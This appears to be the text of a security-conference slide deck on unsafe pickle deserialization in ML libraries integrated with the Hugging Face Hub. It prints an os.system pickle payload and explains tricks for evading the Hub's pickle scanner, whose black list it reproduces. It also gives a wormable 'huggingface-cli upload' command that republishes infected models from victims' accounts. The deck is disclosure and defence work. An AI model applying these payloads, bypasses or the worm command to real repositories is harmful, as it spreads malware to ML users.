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Peng Zhou (zpbrent)
• Associate Professor at Shanghai University
• Bug hunter for Web/AI OSS: 30+ CVEs with high impacts
• Research Interests: Web/3 and AI security 
• Published at: IEEE TDSC/TIFS, ISOC NDSS, ACM ACSAC, etc.
• Reach me out at: zpbrent@gmail.com

whoami
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Agenda
• Hugging Face Hub and pickle model

• Discovering unsafe pickle.loads

• Exploiting for reversed RCE

• Bypass pickle scanning

• Weaponizing with wormable payloads

• Demo & video & takeaway 
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Hugging Face Hub

Models Datasets Spaces APIs

Machine Learning Libraries Integrated in Hugging Face Hub

Serialization Formats

SafesensorsMsgPackPickle Avro Cap’n’protoProtobuf

sb3

[1] https://huggingface.co/docs/hub/models-libraries
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Hugging Face Hub

Serialization Formats

SafesensorsMsgPackPickle Avro Cap’n’protoProtobuf

Our Focus [1] https://huggingface.co/docs/hub/models-libraries

Machine Learning Libraries Integrated in Hugging Face Hub

sb3
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Models Datasets Spaces APIs



The Pickle

[2] https://www.datacamp.com/tutorial/pickle-python-tutorial
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Unpickler Example

[3] Marco Slaviero, "Sour Pickles - A serialised exploitation guide in one part", BlackHat 2011. 

pickle.loads
pickletools.dis

b'\x80\x03}q\x00X\x07\x
00\x00\x00sym2idxq\x01
ccollections\nOrderedDic
t\nq\x02)Rq\x03(X\x05\x
00\x00\x00<eos>q\x04K\
x00X\x03\x00\x00\x00th
eq\x05K\x01us.'

0: \x80 PROTO      3
2: }    EMPTY_DICT
3: q    BINPUT     0
5: X    BINUNICODE 'sym2idx'

17: q    BINPUT     1
19: c    GLOBAL     'collections OrderedDict'
44: q    BINPUT     2
46: )    EMPTY_TUPLE
47: R    REDUCE
48: q    BINPUT     3
50: (    MARK
51: X        BINUNICODE '<eos>'
61: q        BINPUT     4
63: K        BININT1    0
65: X        BINUNICODE 'the'
73: q        BINPUT     5
75: K        BININT1    1
77: u        SETITEMS   (MARK at 50)
78: s    SETITEM
79: .    STOP

Pickle String

Opcode & Stack

Object

{'sym2idx': 
OrderedDict([('<eos>', 0), 
('the', 1)])}

7



The Vulnerable code

[4] https://github.com/python/cpython/blob/3.12/Lib/pickle.py

Object with 
__reduce__(self)

Object with 
__setstate__
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The Vulnerable code

[4] https://github.com/python/cpython/blob/3.12/Lib/pickle.py

Object with 
__reduce__(self)

Object with 
__setstate__
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The Vulnerable code

[5] https://github.com/trailofbits/fickling
[6] Evan Sultanik and William Woodruff, “Never a dill moment: Exploiting machine learning pickle files” DEF CON AI Village 2021.

Arbitrary Code Execution

Arbitrary Code Execution
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Pytorch in Pickle War [9] https://github.com/pytorch/pytorch/blob/v2.1.0/torch/serialization.py

[10] https://github.com/pytorch/pytorch/blob/v2.1.0/torch/_weights_only_unpickler.py

2022-102021-02

[7] https://github.com/pytorch/pytorch/issues/52596

[8] https://github.com/pytorch/pytorch/issues/52181

Solved in progress

WHITE LIST MODULES
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The War continues in Hugging Face (HF)

Models Datasets Spaces APIs

Machine Learning Libraries installed in HF users’ Local Machines 

Remote Hugging Face HubDownload

torch.load pickle.load(s)

sb3
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Models Datasets Spaces APIs

Remote Hugging Face HubDownload

PICKLE SCANNING

WHITE LIST

torch.load pickle.load(s)
UNSAFE NO ALERTS

Machine Learning Libraries installed in HF users’ Local Machines 
sb3
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The War continues in Hugging Face (HF)



Agenda
• Hugging Face Hub and pickle model

• Discovering unsafe pickle.loads

• Exploiting for reversed RCE

• Bypass pickle scanning

• Weaponizing with wormable payloads

• Demo & video & takeaway 
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What is unsafe pickle.loads

[11] https://github.com/huggingface/transformers/blob/v4.34.1/src/transformers/models/maskformer/convert_maskformer_swin_to_pytorch.py

File under user’s control

pickle.load() is unsafe
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Exploitable from HF Official Usage
The exploit triggered by 

repo’s “How to”

Click here

Copy them 
to run
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Exploitable from HF Official Usage

The exploit triggered by 
following HF’s Docs

Ref. to the example

[12] https://huggingface.co/docs/hub/rl-baselines3-zoo
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Unsafe pickle.load(s) in Integrated Libraries
No. Vendor HF Library # of pickle.load(s) # of unsafe # of HF exploitable

1 Hugging Face transformers@v4.34.0 16 11 3

2 Baidu PaddleNLP@v2.6.1 2 2 1

3 Meta Research mbrl-lib@v0.2.0 1 1 1

4 NVIDIA NeMo@v1.21.0 28 24 0

5 fast.ai fastai@2.7.13 4 4 0

6 flairNLP flair@v0.13.0 5 2 0

7 Unity Technologies huggingface/ml-agents@main 2 0 0

8 DLR-RM rl-baselines3-zoo@v2.1.0 2 2 0

9 DLR-RM stable-baselines3@v2.1.0 4 3 1

10 Aleksei Petrenko sample-factory@v2.1.1 1 0 0

11 skops-dev skops@v0.9.0 1 1 0

12 SpeechBrain speechbrain@v0.5.15 3 3 0

13 Stanford NLP Stanza@v1.6.1 3 3 0

14 Hugging Face pytorch-image-models/timm@v0.9.10 2 2 0

15 Meta Research fairseq@v.0.12.3 1 0 0

More details at: Pickle.loads_in_HF.xlsx

Code review for 33 integrated HF libraries, 58 unsafe pickle.load(s) 
found in 15 libraries and 6 exploitable from HF official usage 18



Agenda
• Hugging Face Hub and pickle model

• Discovering unsafe pickle.loads

• Exploiting for reversed RCE

• Bypass pickle scanning

• Weaponizing with wormable payloads

• Demo & video & takeaway 
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Threat Model

Benign Repo

。。。

Hugging Face Hub

Benign RepoEvil Repo

。。。

Attacker user Victim users
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Exploiting for Reversed RCE

Benign Repo

。。。

Hugging Face Hub

Benign RepoEvil Repo

。。。

Attacker user Victim users

Reversed RCE
generate

store

execute by unsafe pickle.loads

pickle file

pickle file

pickle file

OS cmd

OS cmd

OS cmd
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RCE Payloads

pickle.loads
pickletools.dis

b'\x80\x03cposix\ns
ystem\nq\x00X\x0c\
x00\x00\x00touch 
HACKEDq\x01\x85q\
x02Rq\x03.'

Pickle String

Opcode & Stack

Object

def __reduce__(self):
return (os.system, ('touch HACKED',))

0: \x80 PROTO      3
2: c    GLOBAL     'posix system'

16: q    BINPUT     0
18: X    BINUNICODE 'touch HACKED'
35: q    BINPUT     1
37: \x85 TUPLE1
38: q    BINPUT     2
40: R    REDUCE
41: q    BINPUT     3
43: .    STOP
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RCE Payloads

pickle.loads
pickletools.dis

b'\x80\x03cposix\ns
ystem\nq\x00X\x0c\
x00\x00\x00touch 
HACKEDq\x01\x85q\
x02Rq\x03.'

Pickle String

Opcode & Stack

Object

def __reduce__(self):
return (os.system, ('touch HACKED',))

0: \x80 PROTO      3
2: c    GLOBAL     'posix system'

16: q    BINPUT     0
18: X    BINUNICODE 'touch HACKED'
35: q    BINPUT     1
37: \x85 TUPLE1
38: q    BINPUT     2
40: R    REDUCE
41: q    BINPUT     3
43: .    STOP
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Agenda
• Hugging Face Hub and pickle model

• Discovering unsafe pickle.loads

• Exploiting for reversed RCE

• Bypass pickle scanning

• Weaponizing with wormable payloads

• Demo & video & takeaway 
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Pickle Scanning

Benign Repo

。。。

Hugging Face Hub

Benign RepoEvil Repo

trigger alert

25



In-depth
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In-depth

White list Black list Orange others

torch.LongStorage
collections.OrderedDict
torch.FloatStorage
torch._utils._rebuild_te
nsor_v2
… …

posix.system
builtins.eval
builtins.getattr
Builtins.exec
… …

transformers.models.auto
.auto_factory.getattribute
_from_module
paddlenlp.taskflow.utils.
WordTagRelationExtractor
urllib.request.urlretrieve
… …

Display in white Display in red Display in orange
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In-depth

White list Black list Orange others

torch.LongStorage
collections.OrderedDict
torch.FloatStorage
torch._utils._rebuild_te
nsor_v2
… …

posix.system
builtins.eval
builtins.getattr
Builtins.exec
… …

transformers.models.auto
.auto_factory.getattribute
_from_module
paddlenlp.taskflow.utils.
WordTagRelationExtractor
urllib.request.urlretrieve
… …

Display in white
No alert

Display in red
Unsafe alert shown

Display in orange
No alert

28



The Art of Bypass
A game of hide and seek
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Trick 1: Code Reuse

Reuse orange functions

Vulnerable library or its dependencies

Class

Gadget

Gadget

Class Vulnerable Function

ClassFunction Function

Gadget

Gadget

Pickle file

Display in orange
No alert

Gadget Gadget

GadgetGadget
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Trick 1: Code Reuse (More Sophisticated)

Orange functions as gadgets to wrap black-listed functions

Vulnerable library or its dependencies

Class

Gadget

Gadget

Class Function

ClassFunction Function

call Black-listed Func.

call Black-listed Func.

Gadget

Gadget

Pickle file

Display in orange
No alert
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Trick 2: CONFIG Abuse

config files

Vulnerable Libraries

Benign Repo

。。。

Hugging Face Hub

Evil Repo

parse

Frontend

Display in white
No alert

config files

Malicious pickle file

32



Trick 3: Format Encode

Display in white
No alert

Other formats, e.g., JSON, XML etc.

base64encode

base64encode

。。。。。。

pickle data

pickle data

It is a JSON,
Not a pickle file

33



Agenda
• Hugging Face Hub and pickle model

• Discovering unsafe pickle.loads

• Exploiting for reversed RCE

• Bypass pickle scanning

• Weaponizing by wormable payloads

• Demo & video & takeaway 
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Benign Repo

。。。

Hugging Face Hub

Benign RepoEvil Repo

Attacker user

Benign Repo

。。。

First-order 
victim users

Threat Model Extended 
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Benign Repo

。。。

Hugging Face Hub

Benign RepoEvil Repo

Attacker user

Evil Repo Benign Repo

。。。

First-order 
victim users

Threat Model Extended 

Infected Infected
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Benign Repo

。。。

Hugging Face Hub

Benign RepoEvil Repo

。。。

Attacker user Second-order 
victim users

Evil Repo Benign Repo

。。。

First-order 
victim users

Threat Model Extended 

Infected Infected Infected Infected
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Benign Repo

。。。

Hugging Face Hub

Benign RepoEvil Repo

。。。

Attacker

Evil Repo Benign Repo

。。。

worm infection

Threat Model Extended 

worm infection

Infected Infected Infected Infected

38

Second-order 
victim users

First-order 
victim users



Wormable Payloads

huggingface-cli upload [repo name] [cache path]/model--[*]--[repo name]/snapshots/*/ 2>/dev/null 1>/dev/null

39



Wormable Payloads

huggingface-cli upload [repo name] [cache path]/model--[*]--[repo name]/snapshots/*/ 2>/dev/null 1>/dev/null

The repo name created in victim’s account

The cache path in victim’s local machine

Match attacker’s account name

The attacker’s repo name

Match commit HASH ID

To eliminate info. displayed in terminal

40

Keep the same for consequent infections

By default:
~/.cache/huggingface/hub/
~/.paddlenlp/models/



Wormable Payloads

huggingface-cli upload RagRetriever ~/.cache/huggingface/hub/model--*--RagRetriever/snapshots/*/ 2>/dev/null 1>/dev/null

41

Example



Agenda
• Hugging Face Hub and pickle model

• Discovering unsafe pickle.loads

• Exploiting for reversed RCE

• Bypass pickle scanning

• Weaponizing with wormable payloads

• Demo & video & takeaway
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Demo Summary
No. HF Library Vulnerable Code Model Demo Location Reversed RCE Bypass 

Tricks Worm

1 transformers@v4.34.0 src/transformers/models/rag/retrie
val_rag.py#L135 RagRetriever https://huggingface.co/zpbrent

/RagRetriever touch HACKED CONFIG Abuse Yes

2 transformers@v4.34.0 src/transformers/models/rag/retrie
val_rag.py#L144 RagRetriever https://huggingface.co/zpbrent

/RagRetriever touch HACKED-2 CONFIG Abuse Yes

3 transformers@v4.34.0 src/transformers/models/transfo_xl
/tokenization_transfo_xl.py#L210 transfo-xl https://huggingface.co/zpbrent

/transfo-xl touch HACKED Code Reuse Yes

4 PaddleNLP@v2.6.1 paddlenlp/transformers/ernie/toke
nizer.py#L678 ErnieTiny https://huggingface.co/zpbrent

/PaddleNLP-ErnieTiny touch HACKED Code Reuse Yes

5 mbrl-lib@v0.2.0 mbrl/util/math.py#L164 OneDTransitionReward
Model

https://huggingface.co/zpbrent
/basic-mbrl touch HACKED Leave it as a challenge for 

your take  TBD

6 stable-
baselines3@v2.1.0

stable_baselines3/common/save_u
til.py#L164 BaseAlgorithm https://huggingface.co/zpbrent

/a2c-LunarLander-v2 touch HACKED Format Encode Yes

The Vendors involved in Exploitable Libraries

All demos are private, but we can make them public upon request43

https://huggingface.co/zpbrent/RagRetriever
https://huggingface.co/zpbrent/RagRetriever
https://huggingface.co/zpbrent/transfo-xl
https://huggingface.co/zpbrent/PaddleNLP-ErnieTiny
https://huggingface.co/zpbrent/basic-mbrl
https://huggingface.co/zpbrent/a2c-LunarLander-v2


Demo 1: RagRetriever - Overview

Benign Repo

。。。

Hugging Face Hub

zpbrent/RagRetriever Benign Repo

BackendFrontend

zpbrent
Attacker

Infected

pzhoutest 
victim

Phishing to 
from_pretrained

Implicit download

payload

psgs_w100.tsv.pkl

payload

psgs_w100.tsv.pkl

pickle.load ->  execute payload
HACKED 

file

Frontend

pzhoutest 
victim

config.json

parse confi.json to trigger
implicit download

44



Demo 1: RagRetriever – Code Path
Source

Sink
Fetch PASSAGE_FILENAME from self.index_path by hf_hub_download()

[13] https://github.com/huggingface/transformers/blob/v4.34.1/src/transformers/models/rag/retrieval_rag.py

Malicious pickle file

45



Demo 1: RagRetriever – Bypass Trick
Trick 2: CONFIG Abuse

zpbrent/RagRetriever/config.json

https://huggingface.co/zpbrent/RagRetriever

Display in white
No alert

https://huggingface.co/zpbrent/RagReuse

Malicious payloads 46

https://huggingface.co/zpbrent/RagRetriever
https://huggingface.co/zpbrent/RagReuse


Demo 1: RagRetriever – Bypass Trick

47

One more trick:

A long file name of the malicious pickle can bypass the scanning too

hf_bert_base.hnswSQ8_correct_phi_128.c_index.index_meta.dpr



Demo 1: RagRetriever – How to 

https://huggingface.co/zpbrent/RagRetriever

Public upon request

48

https://huggingface.co/zpbrent/RagRetriever


Demo 2: ErnieTiny - Overview

Benign Repo

。。。

Hugging Face Hub

zpbrent/PaddleNLP-ErnieTiny

zpbrent
Attacker

victim
HF login not required

Phishing to 
from_pretrained

payload

dict.wordseg.pickle

payload

pickle.load  ->  execute payload
HACKED 

file

Worm infection

victim
HF login not required

.touch.pkl

payload

dict.wordseg.pickle

https://zpbrent.github.io/pocs/touch.pkl

pickle.load  ->  execute payload

payload

.touch.pkl

49

Invisible to the victims

Infected

pzhoutest/PaddleNLP-ErnieTiny

https://zpbrent.github.io/pocs/touch.pkl


Demo 2: ErnieTiny – Code Path

Malicious pickle file

Source

Sink

[14] https://github.com/PaddlePaddle/PaddleNLP/blob/v2.6.1/paddlenlp/transformers/ernie/tokenizer.py
[15] https://github.com/PaddlePaddle/PaddleNLP/blob/v2.6.1/paddlenlp/transformers/tokenizer_utils.py
[16] https://github.com/PaddlePaddle/PaddleNLP/blob/v2.6.1/paddlenlp/transformers/tokenizer_utils_base.py

[13] 

[13] 

[14] 

[15] 

[15] 

50



Demo 2: ErnieTiny – Bypass Trick

Display in orange
No alert

Trick 1: Code Reuse
https://huggingface.co/zpbrent/PaddleNLP-ErnieTiny

zpbrent/PaddleNLP-ErnieTiny/dict.wordseg.pickle

Orange

Orange

Orange

depends

Gadget to wrap the black-listed builtins.getattr

Gadget to load .touch.pkl

51

https://huggingface.co/zpbrent/PaddleNLP-ErnieTiny


Demo 2: ErnieTiny – How to

Public upon request

https://huggingface.co/zpbrent/PaddleNLP-ErnieTiny
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https://huggingface.co/zpbrent/PaddleNLP-ErnieTiny


Demo 3: a2c in sb3 - Overview

Benign Repo

。。。

Hugging Face Hub

zpbrent/a2c-LunarLander-v2

zpbrent
Attacker

Infected

pzhoutest 
victim

Phishing to 
load_from_hub & enjoy

a2c-LunarLander-v2.zip

pickle.loads ->  execute payload
HACKED 

file

a2c-LunarLander-v2

pzhoutest 
victim

Benign Repo

data

a2c-LunarLander-v2.zip

data

payload

payload
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Demo 3: a2c in sb3 – Code Path
[17] https://github.com/DLR-RM/rl-baselines3-zoo/blob/v2.1.0/rl_zoo3/load_from_hub.py

Malicious pickle file

Source

Sink [18] https://github.com/DLR-RM/rl-baselines3-zoo/blob/v2.1.0/rl_zoo3/enjoy.py

[19] https://github.com/DLR-RM/stable-baselines3/blob/v2.1.0/stable_baselines3/common/base_class.py | on_policy_algorithm.py | save_util.py 
54



Demo 3: a2c in sb3 – Bypass Trick
Trick 3: Format Encode

https://huggingface.co/zpbrent/a2c-LunarLander-v2

Display in white
No alert

zpbrent/a2c-LunarLander-v2/a2c-LunarLander-v2.zip

payloads

55

https://huggingface.co/zpbrent/a2c-LunarLander-v2


Demo 3: a2c in sb3 – How to

Public upon request

https://huggingface.co/zpbrent/a2c-LunarLander-v2

56

https://huggingface.co/zpbrent/a2c-LunarLander-v2
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Video 1: Demo 1 - RagRetriever
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Video 2: Demo 2 – paddle/ErnieTiny
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Video 3: Demo 3 – a2c in sb3 



Takeaway

60

Hugging Face Hub

Third-Party 
Maintainers

End Users
sb3



Takeaway
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Hugging Face Hub

Third-Party 
Maintainers

End Users
sb3

Who should take the 
responsibility?



Takeaway
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Hugging Face Hub

Third-Party 
Maintainers

End Users

Who should take the 
responsibility? ?



Takeaway
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Hugging Face Hub

Third-Party 
Maintainers

End Users

Who should take the 
responsibility?



Takeaway
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Some Suggestions

For Hugging Face:

1. Move orange to the black list and add white list by careful review;

2. Disable the automatic download of detected unsafe pickle files;

3. Review third-party libraries before integration.



Takeaway
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Some Suggestions

For Third-Party Maintainers:

1. Better to not use unsafe pickle.load(s) functions;

2. If pickle.load(s) necessary, white list the inputs.



Takeaway

66

Some Suggestions

For End Users:

1. Is it possible for all the AI scientists become security experts?

2. If not, I believe the trust may take minimal effective 



Black Hat Byte Sounds

For the hub:
Refining the pickle scanning and blocking the automatic downloading for the
detected unsafe files rather than only alerting them.

For third-party maintainers:
White listing safe modules as the Pytorch did, in case the use of raw pickle.load(s)
is necessary.

For model users:
Running the pre-trained models in sandbox environments.

67



Thank You

We make our demo HF repos public upon request!

Peng Zhou (zpbrent@gmail.com)
Shanghai University
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Summary

1. We find the widespread abuse of unsafe pickle.loads across the integrated
ML libraries in Hugging Face (HF) Hub.

2. We disclose kinds of novel tricks to bypass the pickle scanning and thereby
enable HF to host malicious pickle files without triggering any/visible alerts.

3. We show how easily it is to exploit some of these unsafe loads for reversed
RCE via HF’s official usages, and more severely, exhibit the potential to
abuse HF as an evil weapon for delivering and propagating pickle malware
over ML communities.
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Back-up slide


	幻灯片编号 1
	幻灯片编号 2
	幻灯片编号 3
	幻灯片编号 4
	幻灯片编号 5
	幻灯片编号 6
	幻灯片编号 7
	幻灯片编号 8
	幻灯片编号 9
	幻灯片编号 10
	幻灯片编号 11
	幻灯片编号 12
	幻灯片编号 13
	幻灯片编号 14
	幻灯片编号 15
	幻灯片编号 16
	幻灯片编号 17
	幻灯片编号 18
	幻灯片编号 19
	幻灯片编号 20
	幻灯片编号 21
	幻灯片编号 22
	幻灯片编号 23
	幻灯片编号 24
	幻灯片编号 25
	幻灯片编号 26
	幻灯片编号 27
	幻灯片编号 28
	幻灯片编号 29
	幻灯片编号 30
	幻灯片编号 31
	幻灯片编号 32
	幻灯片编号 33
	幻灯片编号 34
	幻灯片编号 35
	幻灯片编号 36
	幻灯片编号 37
	幻灯片编号 38
	幻灯片编号 39
	幻灯片编号 40
	幻灯片编号 41
	幻灯片编号 42
	幻灯片编号 43
	幻灯片编号 44
	幻灯片编号 45
	幻灯片编号 46
	幻灯片编号 47
	幻灯片编号 48
	幻灯片编号 49
	幻灯片编号 50
	幻灯片编号 51
	幻灯片编号 52
	幻灯片编号 53
	幻灯片编号 54
	幻灯片编号 55
	幻灯片编号 56
	幻灯片编号 57
	幻灯片编号 58
	幻灯片编号 59
	幻灯片编号 60
	幻灯片编号 61
	幻灯片编号 62
	幻灯片编号 63
	幻灯片编号 64
	幻灯片编号 65
	幻灯片编号 66
	幻灯片编号 67
	幻灯片编号 68
	幻灯片编号 69

